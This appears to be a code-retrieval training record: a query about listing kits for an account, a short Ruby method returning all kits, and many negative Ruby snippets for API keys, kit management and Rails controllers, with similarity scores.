"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end",
"def set_AccessToken(value)\n set_input(\"AccessToken\", value)\n end"
] |
[
"0.8389733",
"0.6701101",
"0.6693454",
"0.6683265",
"0.6674756",
"0.6674756",
"0.66705334",
"0.6670426",
"0.66278774",
"0.66165125",
"0.66165125",
"0.6578287",
"0.6567888",
"0.6512362",
"0.6512362",
"0.6512362",
"0.6512362",
"0.6512362",
"0.6512362",
"0.6512362",
"0.6512362",
"0.6512362",
"0.6451396",
"0.6382504",
"0.63669956",
"0.63552666",
"0.6349843",
"0.6304951",
"0.6288559",
"0.6247244",
"0.62368333",
"0.62368333",
"0.6231852",
"0.62293565",
"0.6213708",
"0.6213708",
"0.62125194",
"0.62125194",
"0.6186543",
"0.6179991",
"0.6173644",
"0.6169361",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905",
"0.61516905"
] |
0.7869871
|
1
|
List kits available for this account
|
def kits
Kit.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def list_kits\n resp = make_request :get, \"kits\"\n check_response_for_field resp, \"kits\"\n end",
"def list_kits\n resp = make_request :get, \"kits\"\n check_response_for_field resp, \"kits\"\n end",
"def list\n @keychain.keys\n end",
"def list_keychains(params: {})\n call :get, '/keychain', params\n end",
"def list_checkout_keys\n CircleCi.request(conf, \"#{base_path}/checkout-key\").get\n end",
"def index\n @kits = Kit.all.paginate(:page => params[:page]).per_page(10)\n authorize! :index, :Kits\n end",
"def list_and_select_kit\n resp = @api.list_kits\n\n kit_ids = resp['kits'].map { |h| h['id'] }\n\n if kit_ids.empty?\n choice = @io.yes?(\"No Kits found! Would you like to create one?\")\n @operation_stack.unshift(choice ? :prompt_kit_params : :quit)\n return\n end\n\n # fetch information about each kit to get their names for user selection\n # note: If there are a lot of kits, this is definitely slow. This could\n # overcome in a couple ways that I could think of: with multithreading to \n # make multiple requests at once, or with an async implementation to make \n # multiple requests at once, but since my account can only have a single \n # Kit at a time I wasn't able to implement or test a solution.\n kits = {}\n kit_ids.each do |id|\n resp = @api.kit_info(id)\n unless resp['error'].nil?\n @io.print_error resp['error']\n @operation_stack.unshift :quit\n return\n end\n kit_info = resp['kit']\n # map each Kit's name to its ID, for menu selection\n kits[kit_info[\"name\"]] = kit_info['id']\n end\n\n kit_id = @io.select_from_options(\"Select a Kit:\", kits)\n\n @operation_stack.unshift :select_kit_action\n\n # now that the next action is on the stack, return the ID to act on\n kit_id\n end",
"def list_checkout_keys\n CircleCi.request(@conf, \"/project/#{username}/#{project}/checkout-key\").get\n end",
"def keys_for(username)\n @api.client.users.keys.list(user: username).body\n end",
"def list(selection=nil)\n\n env.config.keypairs.each do |name,provider|\n env.ui.info(\"Keypair name:#{name}\")\n end\n end",
"def list_api_keys(opts = {})\n @transporter.read(:GET, '/1/keys', {}, opts)\n end",
"def all_keys\n @cluster.client.list_keys(@name)\n end",
"def keys\n candy.keys\n end",
"def list_keys()\n # TODO\n end",
"def keys(options={})\n get(\"/user/keys\", options, 3)\n end",
"def keys\n ::M2X::Client::Key.list(@client, params.merge(device: self[\"id\"]))\n end",
"def list_account_keys(account_name, group = configuration.resource_group)\n validate_resource_group(group)\n\n url = build_url(group, account_name, 'listKeys')\n response = rest_post(url)\n hash = JSON.parse(response.body)\n\n parse_account_keys_from_hash(hash)\n end",
"def kit_list_to_console(parsed_json)\n kits = parsed_json['kits']\n\n puts \"#{kits.count} kit(s) found:\"\n kits.each_with_index do |kit_info, index|\n indented_puts \"Kit ##{index + 1}:\", 1\n indented_puts \"ID: #{kit_info['id']}\", 2\n indented_puts \"Link: #{kit_info['link']}\", 2\n end\n end",
"def list_api_keys(request_options = {})\n client.get(Protocol.index_keys_uri(name), :read, request_options)\n end",
"def list_keys\n @keys.keys\n end",
"def index\n @kitchencabinets = Kitchencabinet.all\n end",
"def listaccounts(minconf = 1)\n coind.listaccounts minconf\n end",
"def index\n @kokuins = Kokuin.all\n end",
"def listaccounts\n return {} unless node.wallet\n accounts = {}\n node.wallet.accounts.each do |a|\n accounts[a.name] = node.wallet.get_balance(a)\n end\n accounts\n end",
"def all\n path = \"/signers\"\n\n response, status = BeyondApi::Request.get(@session,\n path)\n\n handle_response(response, status)\n end",
"def list_keys\n @keydict.keys\n end",
"def index\n @kistings = Kisting.all\n end",
"def get_list_acc\n JSON.parse(curl_get(\"accounts\").body_str)\n end",
"def all_book_tickers\n request :public, :get, :bookTicker\n end",
"def index\n @whiskeys = Whiskey.all\n end",
"def list_account_key_objects(account_name, group = configuration.resource_group, skip_accessors_definition = false)\n validate_resource_group(group)\n\n unless recent_api_version?\n raise ArgumentError, \"unsupported api-version string '#{api_version}'\"\n end\n\n url = build_url(group, account_name, 'listKeys')\n response = rest_post(url)\n JSON.parse(response.body)['keys'].map { |hash| StorageAccountKey.new(hash, skip_accessors_definition) }\n end",
"def index\n @kids = Kid.all\n end",
"def index\n @kids = Kid.all\n end",
"def keys\n jiak.client.keys(jiak.bucket)\n end",
"def show_recipes_in_my_kitchen\n list_recipes(@user.recipes.order(:title) ) # just list all recipes associated to the users kitchen\n end",
"def index\n @khs = Kh.all\n end",
"def index\n @klubs = Klub.all\n end",
"def list(selection=nil)\n\n env.config.providers.each do |name,provider|\n env.ui.info(\"Asking provider #{name} to list keystore #{selection}\")\n provider.keystore_list(selection,options)\n end\n end",
"def index\n @kandcs = Kandc.all\n end",
"def list_of_accounts_online\n Stripe.api_key = Rails.application.credentials.stripe[Rails.env.to_sym][:secret_key]\n return Stripe::Account.list\n end",
"def list_accounts(client, options)\n accounts = get_accounts(client, options)\n if accounts.nil?\n return\n end\n\n accounts.each do |acc|\n print_account(acc)\n end\nend",
"def list_keys(bucket, options = {})\n keys = bucket_data(bucket, options[:type])[:keys].keys\n\n if block_given?\n yield keys unless keys.empty?\n true\n else\n keys\n end\n end",
"def list\n ::Taxi::S3.instance.list_buckets\n end",
"def list_whiskies(whisky_url)\n #scrape and and create array of whisky hashes for all selected whiskies using url\n @whiskies = WhiskyPicker::Whisky.scrape_index_page(BASE_PATH + whisky_url)\n #display list of whiskies\n @whiskies.each_with_index do |whisky, index|\n puts \"#{index+1}. #{whisky.name}\"\n end\n menu\n end",
"def index\n @lks = Lk.all\n end",
"def markets\n get('/markets')['markets']\n end",
"def list_checkout_keys(username, project)\n default_config.logger.warn('[Deprecated] Use instance method CircleCi::Project#list_checkout_keys instead')\n new(username, project, default_config).list_checkout_keys\n end",
"def show_coins_list\n coins_list(coins)\n end",
"def keys\n IbmCloudRest.get \"#{@uri}/keys\"\n end",
"def listaccounts(minconf = 1)\n @api.request 'listaccounts', minconf\n end",
"def index\n @hks = Hk.all\n end",
"def list_user_hikes\n if @current_user.reload.hikes.length > 0\n print_hike_info(@current_user.reload.hikes)\n else\n puts \"There are no hikes to display.\"\n end\n @prompt.keypress(\"Press any key to continue\")\n end",
"def get_keys(user=nil) \n\t\tuser = Account.current_account if !user\n\t\tKey.all(:account_id => user.id, :project_id => self.id)\n\tend",
"def list\n key = KEY_FORMAT % @visualization.id\n users_expiry = $tables_metadata.hgetall(key)\n now = current_timestamp\n users_expiry.select { |_, expiry| expiry.to_i > now }.keys\n end",
"def index\n @kickers = Kicker.all\n end",
"def keys\n doc = JSON.parse get('/api/v1/ssh_keys')\n doc[\"ssh_keys\"]\n end",
"def names(params = {})\n Iterable.request(conf, '/catalogs', params).get\n end",
"def index\n # Retrieve kpis templates from impac api.\n # TODO: improve request params to work for strong parameters\n attrs = params.slice('metadata', 'opts')\n auth = { username: MnoEnterprise.tenant_id, password: MnoEnterprise.tenant_key }\n\n response = begin\n MnoEnterprise::ImpacClient.send_get('/api/v2/kpis', attrs, basic_auth: auth)\n rescue => e\n return render json: { message: \"Unable to retrieve kpis from Impac API | Error #{e}\" }\n end\n\n # customise available kpis\n kpis = (response['kpis'] || []).map do |kpi|\n kpi = kpi.with_indifferent_access\n kpi[:watchables].map do |watchable|\n kpi.merge(\n name: \"#{kpi[:name]} #{watchable.capitalize unless kpi[:name].downcase.index(watchable)}\".strip,\n watchables: [watchable],\n target_placeholders: {watchable => kpi[:target_placeholders][watchable]},\n )\n end\n end\n .flatten\n\n render json: { kpis: kpis }\n end",
"def index\n @konta = Kontum.all\n end",
"def kit_info(id)\n resp = make_request :get, \"kits/#{id}\"\n check_response_for_field resp, \"kit\"\n end",
"def index\n @apikeys = Apikey.all\n end",
"def index\n @apikeys = Apikey.all\n end",
"def index\n @key_sets = KeySet.all\n end",
"def index\n @credential_keys = CredentialKey.all\n end",
"def list_coins\n endpoint = \"#{HOST}/v1/cryptocurrency/map\"\n get(endpoint)\n end",
"def index\n @kvs = Kv.all\n end",
"def show\n keys = ApiKey.where(user_id: current_user.id)\n @apikeys = []\n keys.each do |key|\n @apikeys << {'access_token' => key.access_token, 'qr' => RQRCode::QRCode.new(key.access_token, :size => 4, :level => :h)}\n end\n end",
"def show_planets\n @planet_names = planets.keys{:name}\n end",
"def all\n @dealing_platform.gather 'accounts', :accounts, Account\n end",
"def accounts\n get('/accounts')['accounts']\n end",
"def keys\n JSON.parse get('/users/ssh_keys', :accept => 'json').to_s\n end",
"def list_keys request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_keys_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::ApiKeys::V2::ListKeysResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def index\n @kwasnies = Kwasny.all\n end",
"def list_all_markets\n counter = 1\n Market.all.each do |market|\n puts \"#{counter} #{market.marketname}\"\n puts \" #{market.streetaddress}, #{market.borough}\\n\"\n puts \"\\n\"\n counter +=1\n end\n puts \"\\n\"\n puts \"Enter the number next to a market to see more info\"\n puts \"Or type 'menu' to go back to main menu\"\n puts \"\\n\"\n puts \"\\n\"\n yield\n end",
"def list_keys(iam, user_name)\n begin\n list_access_keys_response = iam.list_access_keys({ user_name: user_name })\n\n if list_access_keys_response.access_key_metadata.count == 0\n puts \"No access keys.\"\n else\n puts \"Access keys:\"\n list_access_keys_response.access_key_metadata.each do |key_metadata|\n puts \" Access key ID: #{key_metadata.access_key_id}\"\n end\n end\n\n rescue Aws::IAM::Errors::NoSuchEntity\n puts \"Cannot find user '#{user_name}'.\"\n exit(false)\n end\nend",
"def all\n scan_supported_keys\n end",
"def index\n @karuta = Karutum.all\n end",
"def list_pocket_money_hash\n p \"My Pocket Money\" # Just for display\n @pocket_money.each {|key, value| puts \"#{key} is: #{value}\" }\nend",
"def index\n @wks = Wk.all\n end",
"def list_accounts\n HTTP.headers(:accept => @@accept).basic_auth(:user => ENV[\"API_USERNAME\"], :pass => ENV[\"API_PASSWORD\"])\n .get(\"#{@@base_url}/users/#{self.guid}/accounts\").parse[\"accounts\"]\n end",
"def list_tables\n data.keys\n end",
"def listCandies()\n @shelves.each { |shelf|\n shelf.getCandies.each{ |candy|\n puts candy.getName\n }\n }\n end",
"def get_character_list account\n end",
"def index\n @keyholders = Keyholder.all\n end",
"def index\n @tags, @tags_attached = TagService.list(current_user.id)\n end",
"def index\n @interactivekits = Interactivekit.all\n end",
"def get_storage_account_keys(name)\n if get_storage_account name\n path = \"/services/storageservices/#{name}/keys\"\n request = client.management_request(:get, path)\n response = request.call\n Serialization.storage_account_keys_from_xml(response)\n else\n Azure::Loggerx.warn \"Storage Account '#{name}' does not exist.\"\n end\n end",
"def list\n get('users')['users']\n end",
"def get_available_cartridges\n args = Hash.new\n args['--porcelain'] = true\n args['--with-descriptors'] = true\n result = execute_direct(@@C_CONTROLLER, 'cartridge-list', args, false)\n result = parse_result(result)\n cart_data = JSON.parse(result.resultIO.string)\n cart_data.map! {|c| OpenShift::Cartridge.new(YAML.load(c))}\n end",
"def list_accounts\n\ttp Account.all\nend",
"def list\n\trequire_relative '../lib/localhost'\n\t\n\tterminal = self.terminal\n\t\n\tLocalhost::Authority.list do |authority|\n\t\tterminal.print(\n\t\t\t:hostname, authority.hostname, \" \",\n\t\t\t:name, authority.name, \"\\n\", :reset,\n\t\t\t\"\\tCertificate Path: \", authority.certificate_path, \"\\n\",\n\t\t\t\"\\t Key Path: \", authority.key_path, \"\\n\",\n\t\t\t\"\\t Expires: \", authority.certificate.not_after, \"\\n\",\n\t\t\t:reset, \"\\n\"\n\t\t)\n\tend\nend",
"def index\n @clusters = current_account.clusters\n end",
"def list_apps\n render :text => app_configs.keys\n end",
"def all_parks\n response_string = RestClient.get(\"https://developer.nps.gov/api/v1/parks?api_key=#{KEY}&limit=1000\")\n query_hash_to_array(response_string)\n end",
"def fetch_installed_vibs\n Puppet.debug(\"Getting list of installed VIBs...\")\n cnt = 0\n host.esxcli.software.vib.get.each do |installed_vib_data|\n if installed_vib_data[:ID]\n @processed_vibs[installed_vib_data[:ID]] = installed_vib_data\n cnt += 1\n end\n end\n Puppet.debug(\"Found %d installed VIBs\" % cnt)\n end",
"def gethyperlist\n # /hsltv3prod-iaas/rack1/jids \n # racks = zoo_connection.get_children(:path => \"/hsltv3prod-iaas\")\n racks = `ssh zookeeper-1 \"/opt/ibm-zookeeper-3.2.2/bin/zkCli.sh ls /#{@channel}\" |tail -1`\n puts \"racks are #{racks}\" unless @verbose == false\n end",
"def list_kvms\n info = Hash[\n *Dir.glob(File.join(KVM_HOME, 'storage', '*.qcow2')).map{|dir|\n key = File.basename(dir).sub('.qcow2', '')\n [key, {:address => kvm_ip(key), :type => kvm_type(key)}]\n }.sort{|a,b|\n a.first <=> b.first\n }.flatten\n ]\n info.each do |name, info|\n puts \"#{name}\"\n puts \" Type: #{info[:type]}\"\n puts \" Address: #{info[:address]}\"\n end\nend",
"def get_account_quotas()\n session_url = '/sessions?page=0&pageSize=1'\n response = self.class.get(session_url, @options)\n response.headers.select { |k, _v| k.to_s.start_with? 'nexosis-account' }\n end",
"def index\n @api_keys = ApiKey.includes(:user)\n end",
"def list\n url = prefix + \"list\"\n return response(url)\n end"
] |
[
"0.7334027",
"0.7283168",
"0.6660857",
"0.64934003",
"0.618094",
"0.60779953",
"0.60741824",
"0.6027156",
"0.5885507",
"0.5884199",
"0.58786285",
"0.5831911",
"0.5817243",
"0.5783725",
"0.5706927",
"0.56496024",
"0.56414753",
"0.5640115",
"0.5562918",
"0.55515516",
"0.5524134",
"0.5481006",
"0.5479711",
"0.54784745",
"0.5475165",
"0.5473717",
"0.5451208",
"0.5432291",
"0.5431028",
"0.542304",
"0.5401225",
"0.53953665",
"0.53953665",
"0.5393846",
"0.53760934",
"0.5347014",
"0.5340347",
"0.5334783",
"0.5333909",
"0.53260267",
"0.531702",
"0.53058296",
"0.53015476",
"0.53000975",
"0.52931035",
"0.52882147",
"0.52845544",
"0.5282927",
"0.5281662",
"0.52806723",
"0.52718765",
"0.5269878",
"0.52582246",
"0.52500975",
"0.52462393",
"0.52338016",
"0.5221859",
"0.5218853",
"0.52188253",
"0.52096826",
"0.51877123",
"0.51877123",
"0.5185311",
"0.5178108",
"0.51765376",
"0.5159526",
"0.5153001",
"0.5140548",
"0.51370686",
"0.5120739",
"0.51139486",
"0.51098734",
"0.510431",
"0.5089252",
"0.50865924",
"0.50814635",
"0.5077837",
"0.5077503",
"0.50764155",
"0.50655293",
"0.5062295",
"0.5055144",
"0.505072",
"0.5049445",
"0.504747",
"0.50445056",
"0.50415444",
"0.5040648",
"0.503976",
"0.5039666",
"0.50355816",
"0.50337106",
"0.50321585",
"0.5028119",
"0.5024945",
"0.50182456",
"0.5016725",
"0.5016099",
"0.5010184",
"0.500209"
] |
0.79159564
|
0
|
Retrieve a specific kit
|
def kit(id)
Kit.find id
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def kit_info(id)\n resp = make_request :get, \"kits/#{id}\"\n check_response_for_field resp, \"kit\"\n end",
"def view_kit(id)\n resp = @api.kit_info(id)\n @io.display_kit_info resp\n # return the id so a queued operation can continue operating on this kit\n id\n end",
"def list_and_select_kit\n resp = @api.list_kits\n\n kit_ids = resp['kits'].map { |h| h['id'] }\n\n if kit_ids.empty?\n choice = @io.yes?(\"No Kits found! Would you like to create one?\")\n @operation_stack.unshift(choice ? :prompt_kit_params : :quit)\n return\n end\n\n # fetch information about each kit to get their names for user selection\n # note: If there are a lot of kits, this is definitely slow. This could\n # overcome in a couple ways that I could think of: with multithreading to \n # make multiple requests at once, or with an async implementation to make \n # multiple requests at once, but since my account can only have a single \n # Kit at a time I wasn't able to implement or test a solution.\n kits = {}\n kit_ids.each do |id|\n resp = @api.kit_info(id)\n unless resp['error'].nil?\n @io.print_error resp['error']\n @operation_stack.unshift :quit\n return\n end\n kit_info = resp['kit']\n # map each Kit's name to its ID, for menu selection\n kits[kit_info[\"name\"]] = kit_info['id']\n end\n\n kit_id = @io.select_from_options(\"Select a Kit:\", kits)\n\n @operation_stack.unshift :select_kit_action\n\n # now that the next action is on the stack, return the ID to act on\n kit_id\n end",
"def set_kit\n @kit = Kit.find(params[:id])\n end",
"def set_kit\n @kit = Kit.find(params[:id])\n end",
"def show\n @kit = Kit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kit }\n end\n end",
"def list_kits\n resp = make_request :get, \"kits\"\n check_response_for_field resp, \"kits\"\n end",
"def show\n @kitty = Kitty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kitty }\n end\n end",
"def list_kits\n resp = make_request :get, \"kits\"\n check_response_for_field resp, \"kits\"\n end",
"def select_kit_action(kit_id=nil)\n actions = { 'View Kit info' => :view_kit,\n 'Update Kit' => :prompt_kit_params, \n 'Delete Kit' => :delete_kit }\n \n action = @io.select_from_options(\"What would you like to do with this Kit?\", \n actions)\n\n # if the selected action is to view the kit info, add the :after_view operation\n @operation_stack.unshift :after_view if action == :view_kit\n @operation_stack.unshift action\n\n kit_id\n end",
"def show\n @item_kit = ItemKit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item_kit }\n end\n end",
"def show\n @kitten = Kitten.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kitten }\n end\n end",
"def get_kit_id(op)\n op.inputs[0].retrieve\n op.inputs[0].item&.get(KIT_KEY) || op.input(KIT_PARAMETER)&.value\n end",
"def kits\n Kit.all\n end",
"def search_kit\n if can?(:>=, \"5\")\n if params[:kit_number].present?\n @parent_kit= Kitting::Kit.find_by_kit_number_and_commit_id(params[:kit_number],nil)\n if @parent_kit.present?\n @dup_kit = Kitting::Kit.find_by_commit_id(@parent_kit.id) if @parent_kit.present?\n @kit_media_type = @parent_kit.kit_media_type\n if @parent_kit.kit_media_type.kit_type == \"multi-media-type\"\n @multi_media_kits = Kitting::Kit.find_all_by_parent_kit_id_and_commit_status(@parent_kit.id,true).sort\n if params[:mmt_kit_id] && !params[:mmt_kit_id].empty?\n @mmt_kit_id = Kitting::Kit.find(params[:mmt_kit_id])\n if @mmt_kit_id.deleted\n @mmt_kit_id = @multi_media_kits.first\n else\n @mmt_kit_id = @mmt_kit_id\n end\n end\n @kit = @mmt_kit_id || @multi_media_kits.first\n @mmt_kit_media_type = @kit.kit_media_type\n @media_types= Kitting::KitMediaType.where(\"name NOT IN (?) and customer_number = ?\",[@kit_media_type.name,\"--\",@mmt_kit_media_type.name],current_user)\n else\n @kit = @parent_kit\n @media_types= Kitting::KitMediaType.where(\"name NOT IN (?) and customer_number = ?\",[@kit_media_type.name,\"--\",\"Multiple Media Type\"],current_user)\n end\n self.class.layout \"kitting/fit_to_compartment\"\n else\n flash[:error] = \"No Such Kit Found. Enter a Valid Kit Number.\"\n redirect_to :back\n end\n else\n self.class.layout \"kitting/application\"\n end\n else\n redirect_to main_app.unauthorized_url\n end\n end",
"def get_tool\n @tool = Tool.find(params[:tool_id])\n end",
"def show\n @heli_kit = HeliKit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @heli_kit }\n end\n end",
"def kit_params\n params.require(:kit).permit(:name)\n end",
"def get_skus()\n\tputs \"Getting skus\"\n\tresponse = request_get(\"/api/sku\")\n\tputs response.body\nend",
"def new\n @kit = Kit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kit }\n end\n end",
"def show\n @produto_kit = ProdutoKit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @produto_kit }\n end\n end",
"def edit_kit_description\n if can?(:>=, \"5\")\n params[:page] = params[:page].nil? ? 1 : params[:page]\n if params[:kit_number_edit].present?\n @kits= Kitting::Kit.where(\"status in (?) and cust_no = ? and kit_number LIKE ? and commit_id is null and current_version != ? and category is null\",\n [1,2], current_user, \"%\" + params[:kit_number_edit].upcase.try(:strip) +\"%\" , 0).paginate(:page => params[:page],:per_page => 100).order('created_at desc')\n if @kits.blank?\n flash.now[:error] = \"Kit not found\"\n end\n else\n @kits= Kitting::Kit.where(\"status in (?) and cust_no = ? and commit_id is null and current_version != ? and category is null\",\n [1,2], current_user, 0).paginate(:page => params[:page],:per_page => 100).order('created_at desc')\n end\n else\n redirect_to main_app.unauthorized_url\n end\n end",
"def find_single(scope) \n JSON[RestClient.get \"#{@site}/unit/#{scope}\", :accept=>'json'][0]\n end",
"def show\n authorize! :show, @kit\n end",
"def get(key)\n @manager.retrieve(key)\n end",
"def create_kit(params)\n Kit.create(params)\n end",
"def typekit_model_text_from_name(name)\n if text = available_typekits[name]\n return *text\n else \n raise OroGen::TypekitNotFound, \"#{client} has no typekit called #{name}\"\n end\n end",
"def find_cookbook\n @cookbook = Cookbook.with_name(params[:cookbook_id]).first!\n end",
"def lookup\n title = params[:kase][:title]\n klass = kase_class.klass(params[:kase][:kind]) || kase_class\n \n @kases = if @tier\n @tier.kases.find(:all, klass.find_options_for_query(title, :limit => 5))\n else\n klass.find_by_query(:all, title, :limit => 5)\n end\n \n if @kases.blank?\n render :update do |page|\n page.redirect_to(member_path([@tier, @topic, klass], :new, {:title => title}))\n end\n return\n else\n # return lookup results\n render :update do |page|\n page.replace_html dom_class(Kase, :lookup_results), :partial => 'kases/lookup_results'\n page << probono_visual_effect(:blind_down, dom_class(Kase, :lookup_results))\n \n page[dom_class(Kase, :lookup_spinner)].hide\n page[dom_class(Kase, :lookup_start)].show\n page[dom_class(Kase, :lookup_cancel)].show\n \n page.select(\"##{dom_class(Kase, :lookup_start)} a\").first.write_attribute('href',\n member_path([@tier, @topic, klass], :new, {:title => title}))\n end\n end\n end",
"def retrieve_sku\n @sku = Sku.find(params[:sku_id])\n end",
"def index\n @kits = Kit.all.paginate(:page => params[:page]).per_page(10)\n authorize! :index, :Kits\n end",
"def show\n @service_response = UserManagement::KycDetail::Get.new(params).perform\n format_service_response\n end",
"def vehicle_details tank_id\n request_string = \n \"/wot/encyclopedia/tankinfo/?application_id=#{APP_ID}&tank_id=#{tank_id}\"\n data = hash_from_request_string(request_string)\n return data[\"#{tank_id}\"]\nend",
"def save_kit(params)\n # separate the ID from the other params\n id = params['id']\n params.reject! { |k,v| k == 'id' }\n\n resp = @api.save_kit(params, id)\n @io.display_kit_info resp\n # return the id so a queued operation can continue operating on this kit\n id\n end",
"def delete_kit(id)\n resp = make_request :delete, \"kits/#{id}\"\n check_response_for_field resp, \"ok\"\n end",
"def skjar1\n Apis.client.get('/tv/skjar1')\n end",
"def license\n licenses.first\n end",
"def show\n @kpi = Kpi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @kpi }\n end\n end",
"def update\n @kit = Kit.find(params[:id])\n\n respond_to do |format|\n if @kit.update_attributes(params[:kit])\n format.html { redirect_to @kit, notice: 'Kit was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_katbib2\n @katbib2 = Katbib2.find(params[:id])\n end",
"def show\n @pack = Packages.find( params[ :id ] ) \n end",
"def getItem\n Product.select(:product).find(params[:id])\n end",
"def market\n Market.find(@market_id)\n end",
"def delete_kit(id)\n resp = @api.delete_kit(id)\n @io.display_kit_deleted resp\n end",
"def create\n @kit = Kit.new(kit_params)\n\n respond_to do |format|\n if @kit.save\n format.html { redirect_to @kit, notice: 'Kit was successfully created.' }\n format.json { render action: 'show', status: :created, location: @kit }\n else\n format.html { render action: 'new' }\n format.json { render json: @kit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_kit(payload, id=nil)\n url = \"kits\" + (id.nil? ? \"\" : \"/#{id}\")\n resp = make_request :post, url, payload\n check_response_for_field resp, \"kit\"\n end",
"def to_get_request\n 'get_%ss' % api_name\n end",
"def show\n @kisalli = Kisalli.find_by_key(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kisalli }\n end\n end",
